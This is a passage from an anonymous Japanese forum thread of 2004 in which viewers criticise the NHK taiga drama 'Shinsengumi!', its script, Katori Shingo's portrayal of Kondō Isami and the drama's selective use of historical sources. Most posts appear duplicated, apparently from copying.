鍬次郎はほーんと何にも考えてないただのＤＱＮにしか描かれてないから最低。
あれじゃ役者も可哀想だよ。まあその辺の機微を演じられる力量は中の人にも
無いかもしれんが。
513 ：名無しさん＠お腹いっぱい。：04/11/02 11:59:11 ID:GaVXwX/0
「斉藤くんを間者だとみんな疑っている」
さすがにここは触れてきたね。ここを素通りして、「斉藤くん、近藤の暗殺を頼む」じゃ
アホすぎるもんな。
しかし、その（御陵衛士内で浮いている斉藤）描写を前からやっておくのが話の筋ってもんだが。
さすがにここは触れてきたね。ここを素通りして、「斉藤くん、近藤の暗殺を頼む」じゃ
アホすぎるもんな。
しかし、その（御陵衛士内で浮いている斉藤）描写を前からやっておくのが話の筋ってもんだが。
514 ：名無しさん＠お腹いっぱい。：04/11/02 12:20:32 ID:EHpSGgl0
無理ありすぎ・・・なんだが、史実の伊東自体
「近藤の誘い（罠）に独りでノコノコ酒呑みにやって来る」っていう無茶苦茶さだからなぁ
「近藤の誘い（罠）に独りでノコノコ酒呑みにやって来る」っていう無茶苦茶さだからなぁ
515 ：名無しさん＠お腹いっぱい。：04/11/02 12:55:00 ID:XvO/V86x
>>512
ヤマコー土方が存在感有り過ぎて、厨のファンも増えて来ましたから。土方さんに
あまりヒドイ事させないで～♪って事で途中からソフトにしてみました。
汚れ役、憎まれ役は、鍬次郎にバトーンタッチ。だから割と彼には土方寛大ｗ。
ヤマコー土方が存在感有り過ぎて、厨のファンも増えて来ましたから。土方さんに
あまりヒドイ事させないで～♪って事で途中からソフトにしてみました。
汚れ役、憎まれ役は、鍬次郎にバトーンタッチ。だから割と彼には土方寛大ｗ。
516 ：名無しさん＠お腹いっぱい。：04/11/02 13:18:38 ID:ObdGeYbL
>>515
三谷さん、お疲れさまです。
三谷さん、お疲れさまです。
517 ：名無しさん＠お腹いっぱい。：04/11/02 13:40:20 ID:JNrklu23
>>506
鍬次郎＝超法規的存在 ﾜﾛﾀ
ドラマの中では、土方というより三谷の重要な駒ではあるな
でも何でもかんでも一人に押し付ける幕切れが良いわけがない
「秘書がやりました」の政治家じゃないんだからさ
鍬次郎＝超法規的存在 ﾜﾛﾀ
ドラマの中では、土方というより三谷の重要な駒ではあるな
でも何でもかんでも一人に押し付ける幕切れが良いわけがない
「秘書がやりました」の政治家じゃないんだからさ
518 ：名無しさん＠お腹いっぱい。：04/11/02 14:24:47 ID:dVWAo5oh
>517
>「秘書がやりました」の政治家じゃないんだからさ
近藤がキレイに描かれれば描かれるほど、どうしてこんなに胸糞が悪いのか、
今すごく腑に落ちちゃったよ
ありがとう。すっきりした
>「秘書がやりました」の政治家じゃないんだからさ
近藤がキレイに描かれれば描かれるほど、どうしてこんなに胸糞が悪いのか、
今すごく腑に落ちちゃったよ
ありがとう。すっきりした
519 ：名無しさん＠お腹いっぱい。：04/11/02 15:04:31 ID:oRNSy4uO
伊勢田雅也（ディレクター・演出）談 「決戦、油小路」
『今回の中で近藤勇のセリフに「命懸けで話をしました」というセリフがあります。
自分を殺しに来た伊東甲子太郎に対し命懸けで話をし、彼の気持ちを変えようとしたのです。
どう話せば命懸けで話すことになるのか、演出的には大きな不安を抱え、一方、
香取慎吾さんがどう演じるのか、その芝居を楽しみにして収録に臨みました。
結果を言うとやはり香取慎吾さんはすごかった。演技というより人間的な魅力である
高さに達したように見え、この１年間、近藤勇とともに香取慎吾さんが成長してきたことを
強く感じさせるシーンとなりました。今回２人の隊士が命を落とします。
その死に際の見事さ、１年かけて作るドラマの良さはこういうところに色濃く出るのです。』
*****
どうもこの、どのディレクターの話もいつも自画自賛気味なのが気になるわー。
見る側のことを無視してるというか、そもそも眼中にないというか、
あくまで作り手として感想を語ってる以上に断言的に「良い」とか「見事」とか
言い切っちゃうんだよな。
『今回の中で近藤勇のセリフに「命懸けで話をしました」というセリフがあります。
自分を殺しに来た伊東甲子太郎に対し命懸けで話をし、彼の気持ちを変えようとしたのです。
どう話せば命懸けで話すことになるのか、演出的には大きな不安を抱え、一方、
香取慎吾さんがどう演じるのか、その芝居を楽しみにして収録に臨みました。
結果を言うとやはり香取慎吾さんはすごかった。演技というより人間的な魅力である
高さに達したように見え、この１年間、近藤勇とともに香取慎吾さんが成長してきたことを
強く感じさせるシーンとなりました。今回２人の隊士が命を落とします。
その死に際の見事さ、１年かけて作るドラマの良さはこういうところに色濃く出るのです。』
*****
どうもこの、どのディレクターの話もいつも自画自賛気味なのが気になるわー。
見る側のことを無視してるというか、そもそも眼中にないというか、
あくまで作り手として感想を語ってる以上に断言的に「良い」とか「見事」とか
言い切っちゃうんだよな。
520 ：名無しさん＠お腹いっぱい。：04/11/02 15:54:47 ID:F2tkSfkV
>>519
自分で言わないと、他人は（絶対）言ってくれないからじゃないの？
自分で言わないと、他人は（絶対）言ってくれないからじゃないの？
521 ：名無しさん＠お腹いっぱい。：04/11/02 16:10:07 ID:I+eq9gqs
522 ：名無しさん＠お腹いっぱい。：04/11/02 16:10:10 ID:LFOsC9Lt
数字取りのためにまた香取もしくはジャニーズを使いたいからだよ。
まぁ今回数字が取れなかったからどうなるか知れたもんじゃないが。
２００７年は長宗我部がみたいけど山内の後だから絶望的だろうなぁ。
まぁ今回数字が取れなかったからどうなるか知れたもんじゃないが。
２００７年は長宗我部がみたいけど山内の後だから絶望的だろうなぁ。
523 ：名無しさん＠お腹いっぱい。：04/11/02 16:37:46 ID:4vs/xlUX
524 ：虚無僧：04/11/02 16:43:00 ID:YQMUodZB
今日の読売の夕刊は新選組！の特集だ。三谷のインタビューも出てる。それによると、
まぁ基本的には、やはり自分の今回の仕事ぶりを肯定してるようだな。当初批判もあり、芹沢鴨の死んだ回の試写後スタッフから、
「ブレることなくやってください」と言われたが、「一切ブレることはなかった」というコメントもある。
の反面、「もし、初めから書き直してもいいと言われれば、書き直したい」というコメントも。
どうも、批判により、キャラ設定や、筋書きを変える事はなかったが、自分でもやはり満足してない、ところがあるようだな。
まぁ基本的には、やはり自分の今回の仕事ぶりを肯定してるようだな。当初批判もあり、芹沢鴨の死んだ回の試写後スタッフから、
「ブレることなくやってください」と言われたが、「一切ブレることはなかった」というコメントもある。
の反面、「もし、初めから書き直してもいいと言われれば、書き直したい」というコメントも。
どうも、批判により、キャラ設定や、筋書きを変える事はなかったが、自分でもやはり満足してない、ところがあるようだな。
525 ：名無しさん＠お腹いっぱい。：04/11/02 16:54:16 ID:8EU5vVZR
芋洗井雅也（ディレクター・演出）談 「決戦、油汗路」
『今回の中で近藤勇のセリフに「芋洗いの話をしましょう」というセリフがあります。
殺そうとした伊東甲子太郎に対し芋洗いの話をし、彼の気持ちを和ませようとしたのです。
どう話せば芋洗いの話をすることができるのか、演出的には大きな不安を抱え、一方、
香取慎吾さんがどう演じるのか、その芝居を楽しみにして収録に臨みました。
結果を言うとやはり香取慎吾さんはすごかった。演技というより芋洗いの魅力である
ドン臭ささに達したように見え、この１年間、近藤勇とともに香取慎吾さんが芋洗いしてきたことを
強く感じさせるシーンとなりました。今回２人の隊士が命を落とします。
その死に際の見苦しさ、１年かけて作るドラマの良さはこういうところに色濃く出るのです。』
***** もっと誰か改変してくれ
『今回の中で近藤勇のセリフに「芋洗いの話をしましょう」というセリフがあります。
殺そうとした伊東甲子太郎に対し芋洗いの話をし、彼の気持ちを和ませようとしたのです。
どう話せば芋洗いの話をすることができるのか、演出的には大きな不安を抱え、一方、
香取慎吾さんがどう演じるのか、その芝居を楽しみにして収録に臨みました。
結果を言うとやはり香取慎吾さんはすごかった。演技というより芋洗いの魅力である
ドン臭ささに達したように見え、この１年間、近藤勇とともに香取慎吾さんが芋洗いしてきたことを
強く感じさせるシーンとなりました。今回２人の隊士が命を落とします。
その死に際の見苦しさ、１年かけて作るドラマの良さはこういうところに色濃く出るのです。』
***** もっと誰か改変してくれ
526 ：虚無僧：04/11/02 16:59:40 ID:U+nqEdve
今日の新聞記事で他に目に付いたところを書くと、勇は常に悩み続ける人として書いてきたが、
「幕府がなくなって、初めてブレなくなって、信念もって突き進む。そこからが、クライマックス。
香取君もそこで変わり、迫力で演じてくれた」との三谷談だ。あくまで、個人的な意見だが、近藤も幕府が
倒れるまで、信念が揺らいでた、というキャラ設定にされてたのでは、浮かばれないだろう。むしろ、信念が
最初からあったればこそ、人を次々襲撃し、仲間を静粛し、血ぬられた人生でもかまわない、と地獄に堕ちても
いい気持ちで修羅の道を歩んだのだろうに。逆に、土方には、速くからブレない信念をもたしたのだろうが、あの
信念の持ちようは、さっぱり魅力が感じられなかった。隊の為に色々やってくれたが、こざかしく描きすぎたのでは。
「幕府がなくなって、初めてブレなくなって、信念もって突き進む。そこからが、クライマックス。
香取君もそこで変わり、迫力で演じてくれた」との三谷談だ。あくまで、個人的な意見だが、近藤も幕府が
倒れるまで、信念が揺らいでた、というキャラ設定にされてたのでは、浮かばれないだろう。むしろ、信念が
最初からあったればこそ、人を次々襲撃し、仲間を静粛し、血ぬられた人生でもかまわない、と地獄に堕ちても
いい気持ちで修羅の道を歩んだのだろうに。逆に、土方には、速くからブレない信念をもたしたのだろうが、あの
信念の持ちようは、さっぱり魅力が感じられなかった。隊の為に色々やってくれたが、こざかしく描きすぎたのでは。
527 ：名無しさん＠お腹いっぱい。：04/11/02 16:59:48 ID:bkRbMcqi
528 ：名無しさん＠お腹いっぱい。：04/11/02 17:01:39 ID:SjHX4VlT
ＪＲ西日本が駅に置いてるＮＨＫ番組情報「新撰組！」は見た？只でネタ満載、貰うべし！
鳥羽伏見の近代戦で周平を助けた源さんのあっけない爆死と愕然とする試衛館の面々、
最後まで幕臣あり侍であろうとした新遊撃隊の佐々木が農民兵達によって射殺、
病床の沖田を三人の刺客からかばおうとしたお考のあわれな死や、沖田の切り死に、
刑場へ引かれる勇とつねの別れや、その勇を助けようとして三谷氏曰く「大河史上最も壮絶」な
捨助の最後、死に場所は会津だと初めて感情を表す斉藤、これからの泣き所満載だ。
友情出演で草薙の榎本武揚は知ってたけど、最後の最後でキムタクが出るのは驚いた。
鳥羽伏見の近代戦で周平を助けた源さんのあっけない爆死と愕然とする試衛館の面々、
最後まで幕臣あり侍であろうとした新遊撃隊の佐々木が農民兵達によって射殺、
病床の沖田を三人の刺客からかばおうとしたお考のあわれな死や、沖田の切り死に、
刑場へ引かれる勇とつねの別れや、その勇を助けようとして三谷氏曰く「大河史上最も壮絶」な
捨助の最後、死に場所は会津だと初めて感情を表す斉藤、これからの泣き所満載だ。
友情出演で草薙の榎本武揚は知ってたけど、最後の最後でキムタクが出るのは驚いた。
529 ：名無しさん＠お腹いっぱい。：04/11/02 17:08:34 ID:bkRbMcqi
>>526
俺も個人的には、近藤は幕府が倒れてから揺らいだように思える。
それまでは武州多摩育ちもあって「幕府（徳川）のために！」
と邁進してきたが、幕府が倒れ「朝敵」になった時に、
自分たちがやってきたことに疑問を抱き、弱気にもなったと思う。
だからこそ、甲州鎮撫隊で追い詰められた時、あっさりと
投降もしてしまったのだと思うんだが。
逆に土方は、鳥羽伏見以降、新撰組が壊滅して、
隊に縛られることなく、ただ薩長と戦って死ぬと決めて
信念の殉死へと邁進していった気がする。
俺も個人的には、近藤は幕府が倒れてから揺らいだように思える。
それまでは武州多摩育ちもあって「幕府（徳川）のために！」
と邁進してきたが、幕府が倒れ「朝敵」になった時に、
自分たちがやってきたことに疑問を抱き、弱気にもなったと思う。
だからこそ、甲州鎮撫隊で追い詰められた時、あっさりと
投降もしてしまったのだと思うんだが。
逆に土方は、鳥羽伏見以降、新撰組が壊滅して、
隊に縛られることなく、ただ薩長と戦って死ぬと決めて
信念の殉死へと邁進していった気がする。
530 ：虚無僧：04/11/02 17:11:01 ID:0dK2LVNm
最後に、「まだ決着してない伏線も今後すべて結実し、最終回には三谷が
作詞した主題歌の意味も解き明かされる」という。
まぁ、三谷の古畑は俺は好きだ。謎解きは面白い。主題歌の意味うんぬんは
期待してやろう。
しかし、三谷は言うことが矛盾が多いな。「死ぬ場面を書いたことないので最初は
不安だった」そうだが、古畑はなんだ。殺される人は謎解きの道具しか思ってなかった
のか。
作詞した主題歌の意味も解き明かされる」という。
まぁ、三谷の古畑は俺は好きだ。謎解きは面白い。主題歌の意味うんぬんは
期待してやろう。
しかし、三谷は言うことが矛盾が多いな。「死ぬ場面を書いたことないので最初は
不安だった」そうだが、古畑はなんだ。殺される人は謎解きの道具しか思ってなかった
のか。
531 ：名無しさん＠お腹いっぱい。：04/11/02 17:15:49 ID:yutIPQOa
悪いのは全部下っ端のせい
なんていう脚本書いて満足できるのか?
もうめちゃくちゃだ。
なんていう脚本書いて満足できるのか?
もうめちゃくちゃだ。
532 ：名無しさん＠お腹いっぱい。：04/11/02 17:40:33 ID:Gt3sGhvO
はてさて最終回までにどうなることやら
533 ：虚無僧：04/11/02 17:58:46 ID:zeJQksaH
新聞の三谷談「勇を中心とした群像劇として描くことを考えた。登場人物すべてに、
そのふさわしい退場の仕方で物語の決着をつけたいと思ってたので、死なせ方にこだわった」
Ｐ談「一つ一つの死に意味がある。その死を描くことが、生への賛歌につながっている」
ドラマの最初の分岐点は芹沢の死。「それまで兄とも父とも思ってきた鴨を乗り越えることで、
若手はドラマとしても役柄としても成長できた」
第二ポイントは山南の死。マイナーな人を取り上げることで、予想以上の反響があった。また、
時代劇らしくないという、批判も激減した。
確かに、死ぬ場面は回想をもちいたり凝っていたところもあったが、肝心の近藤不在で生の賛歌？！
鴨を殺した後も近藤は悩んでいて、成長した？！なんだか、プロデューサーも矛盾だぞ。
そのふさわしい退場の仕方で物語の決着をつけたいと思ってたので、死なせ方にこだわった」
Ｐ談「一つ一つの死に意味がある。その死を描くことが、生への賛歌につながっている」
ドラマの最初の分岐点は芹沢の死。「それまで兄とも父とも思ってきた鴨を乗り越えることで、
若手はドラマとしても役柄としても成長できた」
第二ポイントは山南の死。マイナーな人を取り上げることで、予想以上の反響があった。また、
時代劇らしくないという、批判も激減した。
確かに、死ぬ場面は回想をもちいたり凝っていたところもあったが、肝心の近藤不在で生の賛歌？！
鴨を殺した後も近藤は悩んでいて、成長した？！なんだか、プロデューサーも矛盾だぞ。
534 ：名無しさん＠お腹いっぱい。：04/11/02 18:04:47 ID:aszBy3+f
薩摩軍・有馬藤太 古田新太
大久保大和と名乗り、流山に潜んでいた近藤勇を捕らえます。注目ね。
大久保大和と名乗り、流山に潜んでいた近藤勇を捕らえます。注目ね。
535 ：名無しさん＠お腹いっぱい。：04/11/02 18:21:09 ID:7R3ODfYS
536 ：名無しさん＠お腹いっぱい。：04/11/02 18:50:17 ID:QSe3FR1Q
537 ：名無しさん＠お腹いっぱい。：04/11/02 19:00:13 ID:WuoSledD
キムタクが出る？ ホント？
何の役？ 官軍の誰かの役？
何の役？ 官軍の誰かの役？
538 ：名無しさん＠お腹いっぱい。：04/11/02 19:14:04 ID:jebNkE5f
＞第二ポイントは山南の死。マイナーな人を取り上げることで、予想以上の反響があった。また、
時代劇らしくないという、批判も激減した。
どの面下げて・・・散々前宣して１６％だったくせに。
＞虚無僧 、アラロレ私も好きだが、基本的な内面の葛藤の深さ、個人的な
感情や弱さと理想の具現化のかねあいの面白さ、
痛さは近藤局長の描き方とは
比べもにならないくらい鮮烈だったよ。
この近藤勇は幼児の絵本にもならない稚拙な言動行動で世に残したり、語ったり
してはいけない品質のもの。
物語の質どうこうよりも、これを制作者が誇り、賛美するのが最大の謎になった。
時代劇らしくないという、批判も激減した。
どの面下げて・・・散々前宣して１６％だったくせに。
＞虚無僧 、アラロレ私も好きだが、基本的な内面の葛藤の深さ、個人的な
感情や弱さと理想の具現化のかねあいの面白さ、
痛さは近藤局長の描き方とは
比べもにならないくらい鮮烈だったよ。
この近藤勇は幼児の絵本にもならない稚拙な言動行動で世に残したり、語ったり
してはいけない品質のもの。
物語の質どうこうよりも、これを制作者が誇り、賛美するのが最大の謎になった。
539 ：名無しさん＠お腹いっぱい。：04/11/02 19:17:51 ID:zGjIPNdW
540 ：名無しさん＠お腹いっぱい。：04/11/02 19:55:21 ID:QHomE0Kd
>535
うん。近藤自ら、あるいは土方あたりが「秘書がやりました」言ってるなら、まだましなんだよね。
そうじゃなくて、何ていうかドラマのコンセプトが「秘書がやりました」モードなのがヤな感じだなって。
うん。近藤自ら、あるいは土方あたりが「秘書がやりました」言ってるなら、まだましなんだよね。
そうじゃなくて、何ていうかドラマのコンセプトが「秘書がやりました」モードなのがヤな感じだなって。
541 ：名無しさん＠お腹いっぱい。：04/11/02 19:59:14 ID:xuXwaWxT
>>537
土佐の板垣とかかな
土佐の板垣とかかな
542 ：名無しさん＠お腹いっぱい。：04/11/02 20:14:54 ID:2wNQdbkI
>>541
勘弁して欲しい…
勘弁して欲しい…
543 ：虚無僧：04/11/02 21:07:17 ID:d1d+DUEC
このドラマ、幕府を悪役にして描いた方が正解だったかもな。近藤も新選組も美化せずありのまま
描けたろう。新選組が暗殺やら色々やっても、その新選組もまた、正規の武士が嫌がることを利用されて
やらされてたんだよ・・・こいつらも実は被害者だったんだよ・・・みたいに視聴者の目をごまかせるだろうからな。
描けたろう。新選組が暗殺やら色々やっても、その新選組もまた、正規の武士が嫌がることを利用されて
やらされてたんだよ・・・こいつらも実は被害者だったんだよ・・・みたいに視聴者の目をごまかせるだろうからな。
544 ：虚無僧：04/11/02 21:16:57 ID:Fny+7xB3
とにかく近藤や新選組の嫌なところにフタをし、近藤の出世欲ギラギラな
ところを隠して描き、なおかつ視聴者に違和感もたれないなら、幕府の手先
にすぎなかった、とするしかなかったろう。が、このドラマ、土方や大石等を
悪者し、肝心の近藤をいい子にしたため、かえって、新選組や近藤に共感できなく
なってしまったな。
ところを隠して描き、なおかつ視聴者に違和感もたれないなら、幕府の手先
にすぎなかった、とするしかなかったろう。が、このドラマ、土方や大石等を
悪者し、肝心の近藤をいい子にしたため、かえって、新選組や近藤に共感できなく
なってしまったな。
545 ：名無しさん＠お腹いっぱい。：04/11/02 21:24:21 ID:i1bkfx2n
いい子にだろうが非道だろうが
アンチは最初から共感などしないもんだ
最後までつらぬくのがアンチ
アンチは最初から共感などしないもんだ
最後までつらぬくのがアンチ
546 ：名無しさん＠お腹いっぱい。：04/11/02 22:26:07 ID:Lg6O2CQu
このスレを覗くと、ますます田舎剣士の無邪気さに共感が増してくる。
547 ：名無しさん＠お腹いっぱい。：04/11/02 22:28:55 ID:E7DDOdaL
548 ：名無しさん＠お腹いっぱい。：04/11/02 23:10:06 ID:wU5nq5OF
永倉の談話以外には裏付けが取れない
「伊東の近藤暗殺計画」はしっかりあったことになってるのに
永倉はおろか阿部十郎、西村兼文など複数の人物が証言してる
「近藤が謀殺目的で伊東を呼び出した」ことはなかったことになってるのね。
今回の大河、わりと細かい史料を拾って作られてると思うけど
史料の取捨選択の基準はかなり片寄ってるよね。
新選組に都合のいい史料は拾うけど、都合が悪い史料は捨てる、
あるいは改変する。
どっかのテレビ局で中立的な目線で描かれた新選組ものをやってくれないかな。
新選組ﾏﾝｾｰものは山のようにあるから。
「伊東の近藤暗殺計画」はしっかりあったことになってるのに
永倉はおろか阿部十郎、西村兼文など複数の人物が証言してる
「近藤が謀殺目的で伊東を呼び出した」ことはなかったことになってるのね。
今回の大河、わりと細かい史料を拾って作られてると思うけど
史料の取捨選択の基準はかなり片寄ってるよね。
新選組に都合のいい史料は拾うけど、都合が悪い史料は捨てる、
あるいは改変する。
どっかのテレビ局で中立的な目線で描かれた新選組ものをやってくれないかな。
新選組ﾏﾝｾｰものは山のようにあるから。
549 ：名無しさん＠お腹いっぱい。：04/11/02 23:23:13 ID:JH80Wzrf
>>545
批判的意見＝アンチとする君も的はずれかもね。
ここ数ヶ月は楽しんで見ていたけれど、
竜馬暗殺の回や油小路の処理は、やはり御都合主義もいい所。
新しい新撰組や近藤観を打ち出したとするにはお粗末な展開で、
うそ臭い主人公美化に見えた。
香取がもっと人物像をきちんと出せているか演技力があるかなりすればいいんだけど、
この人、出来のいい回でも近藤の演技で台無しにしてくれる。
武田転落の回なんてそれ。
言っておくけど香取の出来が本当によければそれを認めるつもりくらいあるよ。
でも駄目駄目だから文句を言いたくなる。
批判的意見＝アンチとする君も的はずれかもね。
ここ数ヶ月は楽しんで見ていたけれど、
竜馬暗殺の回や油小路の処理は、やはり御都合主義もいい所。
新しい新撰組や近藤観を打ち出したとするにはお粗末な展開で、
うそ臭い主人公美化に見えた。
香取がもっと人物像をきちんと出せているか演技力があるかなりすればいいんだけど、
この人、出来のいい回でも近藤の演技で台無しにしてくれる。
武田転落の回なんてそれ。
言っておくけど香取の出来が本当によければそれを認めるつもりくらいあるよ。
でも駄目駄目だから文句を言いたくなる。
550 ：名無しさん＠お腹いっぱい。：04/11/03 00:02:57 ID:TPux4ZAX
本当は近藤や土方の人生って、
不器用だけど誠の信念に殉じて忠義に尽くしたわけで
「秘書がやりました」モードとは、一番かけ離れた生き方のはず。
なんか脚本が必死に美化するほど、可哀想になってくるよ。
不器用だけど誠の信念に殉じて忠義に尽くしたわけで
「秘書がやりました」モードとは、一番かけ離れた生き方のはず。
なんか脚本が必死に美化するほど、可哀想になってくるよ。
551 ：名無しさん＠お腹いっぱい。：04/11/03 00:03:50 ID:v4Xvoddx
三谷さんは本当の近藤が大嫌いなんだよ。
だからせめて自分の創作の中では自分好みのキャラにしたいんだ。
だからせめて自分の創作の中では自分好みのキャラにしたいんだ。
552 ：名無しさん＠お腹いっぱい。：04/11/03 00:26:32 ID:osbfTazH
ここはアンチスレ
出来が良くても認めない、誉めないところが潔くていい。。
出来が良くても認めない、誉めないところが潔くていい。。
553 ：名無しさん＠お腹いっぱい。：04/11/03 00:29:22 ID:Ls70f6NA
554 ：名無しさん＠お腹いっぱい。：04/11/03 00:31:00 ID:Ls70f6NA
>>553
ストーリーのことね。
ストーリーのことね。
555 ：名無しさん＠お腹いっぱい。：04/11/03 00:36:03 ID:osbfTazH
こんなところで誉められても別に嬉しくないだろうし
このまま現行のスタイルでいい。
このまま現行のスタイルでいい。
556 ：名無しさん＠お腹いっぱい。：04/11/03 01:13:19 ID:swyvvICU
>>552
煽り、だよね？
煽り、だよね？
557 ：名無しさん＠お腹いっぱい。：04/11/03 02:36:09 ID:dGwMK0Aj
トータルで出来が良かった回ってあったかな？思い出せない。
第一回は結構楽しかった記憶があるけど。
部分的には良いところもあるんだけどね。役者の演技とかさ。
キャスティングだけは三谷ＧＪ!!!と私は言える。
第一回は結構楽しかった記憶があるけど。
部分的には良いところもあるんだけどね。役者の演技とかさ。
キャスティングだけは三谷ＧＪ!!!と私は言える。
558 ：名無しさん＠お腹いっぱい。：04/11/03 08:29:05 ID:CmbdYw2q
ＪＲ西日本が駅に置いてるＮＨＫ番組情報「新撰組！」は見た？只でネタ満載、貰うべし！
鳥羽伏見の近代戦で周平を助けた源さんのあっけない爆死と愕然とする試衛館の面々、
最後まで幕臣あり侍であろうとした新遊撃隊の佐々木が農民兵達によって射殺、
病床の沖田を三人の刺客からかばおうとしたお考のあわれな死や、沖田の切り死に、
刑場へ引かれる勇とつねの別れや、その勇を助けようとして三谷氏曰く「大河史上最も壮絶」な
捨助の最後、死に場所は会津だと初めて感情を表す斉藤、これからの泣き所満載だ。
友情出演で草薙の榎本武揚は知ってたけど、最後の最後でキムタクが出るのは驚いたよ。
鳥羽伏見の近代戦で周平を助けた源さんのあっけない爆死と愕然とする試衛館の面々、
最後まで幕臣あり侍であろうとした新遊撃隊の佐々木が農民兵達によって射殺、
病床の沖田を三人の刺客からかばおうとしたお考のあわれな死や、沖田の切り死に、
刑場へ引かれる勇とつねの別れや、その勇を助けようとして三谷氏曰く「大河史上最も壮絶」な
捨助の最後、死に場所は会津だと初めて感情を表す斉藤、これからの泣き所満載だ。
友情出演で草薙の榎本武揚は知ってたけど、最後の最後でキムタクが出るのは驚いたよ。
559 ：名無しさん＠お腹いっぱい。：04/11/03 08:32:40 ID:ElV8/p6N
釣り？
560 ：名無しさん＠お腹いっぱい。：04/11/03 08:51:19 ID:89JyRP2k
>>549
同意。アンチでもなんでもなく、なんだこりゃな展開の時は
ここで批判するけど、それをいちいち見下すような
擁護ともいえないレスを目にするといやになる。
自分はどの役者のヲタでもないが、嫌いな役者はいない。
初回から欠かさず見てる。血風録の渡の近藤像よりはましな気も。
ただ最近はあまりにも、近藤の言ってる理屈に筋は通らない、
暗殺事件の処理はワンパターン、ご都合主義の不自然な展開に
いい加減にしろと言いたくなるよ。美化するにしてもうまくやれ。
同意。アンチでもなんでもなく、なんだこりゃな展開の時は
ここで批判するけど、それをいちいち見下すような
擁護ともいえないレスを目にするといやになる。
自分はどの役者のヲタでもないが、嫌いな役者はいない。
初回から欠かさず見てる。血風録の渡の近藤像よりはましな気も。
ただ最近はあまりにも、近藤の言ってる理屈に筋は通らない、
暗殺事件の処理はワンパターン、ご都合主義の不自然な展開に
いい加減にしろと言いたくなるよ。美化するにしてもうまくやれ。
561 ：名無しさん＠お腹いっぱい。：04/11/03 09:46:36 ID:QR1Efbdf
>550
凄く同感だ
新撰組って粛清だの暗殺だの死体晒しだの汚いことやってるけど
それでも魅かれるのはその汚さを全部引き受けたところにあるのに
下手な正当化や美化は魅力半減だよ
凄く同感だ
新撰組って粛清だの暗殺だの死体晒しだの汚いことやってるけど
それでも魅かれるのはその汚さを全部引き受けたところにあるのに
下手な正当化や美化は魅力半減だよ
562 ：名無しさん＠お腹いっぱい。：04/11/03 11:20:41 ID:669yQPz0
>>559
思い切り釣りでつ。
思い切り釣りでつ。
563 ：名無しさん＠お腹いっぱい。：04/11/03 11:54:29 ID:6SX7djsB
>>548
永倉の証言が採用されたのは永倉が新撰組内部の人間だったからだろう。
阿部の証言が採用されないのに文句をつけたところで、これはドラマで
あって「その時～歴史が動いた」のような歴史検証番組ではないのだから、
史料の取捨選択の基準が偏ったとしてもそれは重要問題ではない。
大河ドラマは主人公やそれに連なる人々の顕彰的意味合いを有する。
旧日本軍のドラマを作るのにソ連側の史料・記録が無視されたからと
いって、それがドラマというフィクション作品だから問題にされない
のと同じだ。
西村兼文の「新撰組始末記」は某元東大教授によれば
「明治二十年代の確立された天皇主義史観から、近藤勇と新撰組を
天皇に敵対した賊徒・逆徒として非難攻撃する一面的な姿勢が露骨に
出ており」という史料だそうだ。
永倉の証言が採用されたのは永倉が新撰組内部の人間だったからだろう。
阿部の証言が採用されないのに文句をつけたところで、これはドラマで
あって「その時～歴史が動いた」のような歴史検証番組ではないのだから、
史料の取捨選択の基準が偏ったとしてもそれは重要問題ではない。
大河ドラマは主人公やそれに連なる人々の顕彰的意味合いを有する。
旧日本軍のドラマを作るのにソ連側の史料・記録が無視されたからと
いって、それがドラマというフィクション作品だから問題にされない
のと同じだ。
西村兼文の「新撰組始末記」は某元東大教授によれば
「明治二十年代の確立された天皇主義史観から、近藤勇と新撰組を
天皇に敵対した賊徒・逆徒として非難攻撃する一面的な姿勢が露骨に
出ており」という史料だそうだ。
564 ：名無しさん＠お腹いっぱい。：04/11/03 12:05:25 ID:wXPseXlZ
本編は諦めつつも惰性で見てます。
さすがに油小路の設定は無理がありすぎた。
逆に言えば、良くもまあストーリーをひねり出したなと
感心するぐらいで。
永倉が胸張って伊東を暗殺したと
書き記していたのはおもしろいね。
今の価値観では、暗殺は後ろ指さされる行為だから
徹底的に隠すよね。
浅田次郎の壬生浪士伝をここの人に
勧められて読んだら確かにおもしろかった。
新選組外伝ではあるけど。
さすがに油小路の設定は無理がありすぎた。
逆に言えば、良くもまあストーリーをひねり出したなと
感心するぐらいで。
永倉が胸張って伊東を暗殺したと
書き記していたのはおもしろいね。
今の価値観では、暗殺は後ろ指さされる行為だから
徹底的に隠すよね。
浅田次郎の壬生浪士伝をここの人に
勧められて読んだら確かにおもしろかった。
新選組外伝ではあるけど。
565 ：名無しさん＠お腹いっぱい。：04/11/03 12:17:15 ID:dOuKq56d
>>564
オレはあれ読んで「DQNな人たちが葵の御旗を頂いて浮かれてただけなのかも知れぬ」
と思うようになった。
ビデオ4本見ながら脳内補完もマジオススメ。
組!はもう近藤を視界に入れてない。
一場面一場面を見て良いところを楽しむ、といった所だ。
オレはあれ読んで「DQNな人たちが葵の御旗を頂いて浮かれてただけなのかも知れぬ」
と思うようになった。
ビデオ4本見ながら脳内補完もマジオススメ。
組!はもう近藤を視界に入れてない。
一場面一場面を見て良いところを楽しむ、といった所だ。
566 ：名無しさん＠お腹いっぱい。：04/11/03 13:28:00 ID:t6lAzf+R
NHK板のスレにいる信者くんがなかなかやるぞ。
今回の油小路も近藤の言動も、「別段おかしくない」。
執拗なレスからも、どうも本気だｗ 虚勢じゃない。
「物語が破綻しているという論が多すぎるぞ」ときたぜ。
あっちのスレは進みも早くないから、興味があったら相手してみては。
2004年大河ﾄﾞﾗﾏ『新選組！』４の剣
http://tv6.2ch.net/test/read.cgi/nhk/1093162472/l50
今回の油小路も近藤の言動も、「別段おかしくない」。
執拗なレスからも、どうも本気だｗ 虚勢じゃない。
「物語が破綻しているという論が多すぎるぞ」ときたぜ。
あっちのスレは進みも早くないから、興味があったら相手してみては。
2004年大河ﾄﾞﾗﾏ『新選組！』４の剣
http://tv6.2ch.net/test/read.cgi/nhk/1093162472/l50
567 ：名無しさん＠お腹いっぱい。：04/11/03 14:06:52 ID:SikBWsHT
本スレはいい
キモヲタばかりだから
キモヲタばかりだから
568 ：名無しさん＠お腹いっぱい。：04/11/03 14:28:29 ID:bEy84jX3
>>563
>永倉の証言が採用されたのは永倉が新撰組内部の人間だったからだろう。
>阿部の証言が採用されないのに文句をつけたところで
「近藤が謀殺目的で伊東を呼び出した」ことは永倉も証言してるんだけどね。
顛末記でも文久報国記事でも。
別に新選組批判者である阿部や西村だけが言ってるわけではない。
同じ永倉の証言でも一方は採用して一方は採用しない、
その三谷の姿勢についての意見。
続く。
>永倉の証言が採用されたのは永倉が新撰組内部の人間だったからだろう。
